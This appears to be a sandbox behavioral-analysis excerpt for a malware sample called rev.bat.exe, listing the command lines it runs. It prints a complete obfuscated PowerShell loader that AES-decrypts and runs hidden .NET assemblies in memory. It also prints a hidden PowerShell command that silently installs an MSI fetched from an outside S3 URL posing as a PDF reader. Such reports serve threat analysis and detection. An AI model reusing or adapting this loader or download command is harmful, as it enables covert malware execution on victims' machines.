Behavioral Analysis

rev.bat.exe "C:\Users\test22\AppData\Local\Temp\rev.bat.exe" -w hidden -c $Rwyy='ReYnHaaYnHadLiYnHanesYnHa'.Replace('YnHa', '');$PmMk='TraYnHansYnHafoYnHarmYnHaFinaYnHalYnHaBlYnHaockYnHa'.Replace('YnHa', '');$MfYp='FirYnHastYnHa'.Replace('YnHa', '');$kVgj='FroYnHamYnHaBYnHaasYnHae6YnHa4StYnHariYnHangYnHa'.Replace('YnHa', '');$aHWr='ChYnHaanYnHageExYnHatenYnHasiYnHaonYnHa'.Replace('YnHa', '');$gqav='GYnHaetCYnHaurrYnHaenYnHatPrYnHaocesYnHasYnHa'.Replace('YnHa', '');$DHcv='SplYnHaitYnHa'.Replace('YnHa', '');$EEdg='EnYnHatYnHarYnHayYnHaPoYnHaintYnHa'.Replace('YnHa', '');$tcdy='MaYnHaiYnHanYnHaMoYnHaduleYnHa'.Replace('YnHa', '');$aFEC='IYnHanvYnHaokeYnHa'.Replace('YnHa', '');$XlVq='LoadYnHa'.Replace('YnHa', '');$jaIs='CYnHareaYnHateYnHaDecrYnHayYnHapYnHatorYnHa'.Replace('YnHa', '');function tWkWm($tIqHx){$gvkKA=[System.Security.Cryptography.Aes]::Create();$gvkKA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$gvkKA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$gvkKA.Key=[System.Convert]::$kVgj('M9sMpwxY1XjodXbV6oJ2kek50ehlInCYuwfh/CjlMzc=');$gvkKA.IV=[System.Convert]::$kVgj('EClXKP7rmyoRnUX3gynDag==');$BjrdS=$gvkKA.$jaIs();$MTfir=$BjrdS.$PmMk($tIqHx,0,$tIqHx.Length);$BjrdS.Dispose();$gvkKA.Dispose();$MTfir;}function voAuL($tIqHx){$WKDaM=New-Object System.IO.MemoryStream(,$tIqHx);$vEUKC=New-Object System.IO.MemoryStream;$TsvRU=New-Object System.IO.Compression.GZipStream($WKDaM,[IO.Compression.CompressionMode]::Decompress);$TsvRU.CopyTo($vEUKC);$TsvRU.Dispose();$WKDaM.Dispose();$vEUKC.Dispose();$vEUKC.ToArray();}$UYevX=[System.Linq.Enumerable]::$MfYp([System.IO.File]::$Rwyy([System.IO.Path]::$aHWr([System.Diagnostics.Process]::$gqav().$tcdy.FileName, $null)));$UFUei=$UYevX.Substring(3).$DHcv(':');$qRpdv=voAuL (tWkWm ([Convert]::$kVgj($UFUei[0])));$mLDah=voAuL (tWkWm ([Convert]::$kVgj($UFUei[1])));[System.Reflection.Assembly]::$XlVq([byte[]]$mLDah).$EEdg.$aFEC($null,$null);[System.Reflection.Assembly]::$XlVq([byte[]]$qRpdv).$EEdg.$aFEC($null,$null);

powershell.exe powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 20"

powershell.exe powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'msiexec.exe' -ArgumentList '/i', 'https://fesad.s3.eu-north-1.amazonaws.com/Apppdfread.msi', '/qn' -Wait -WindowStyle Hidden"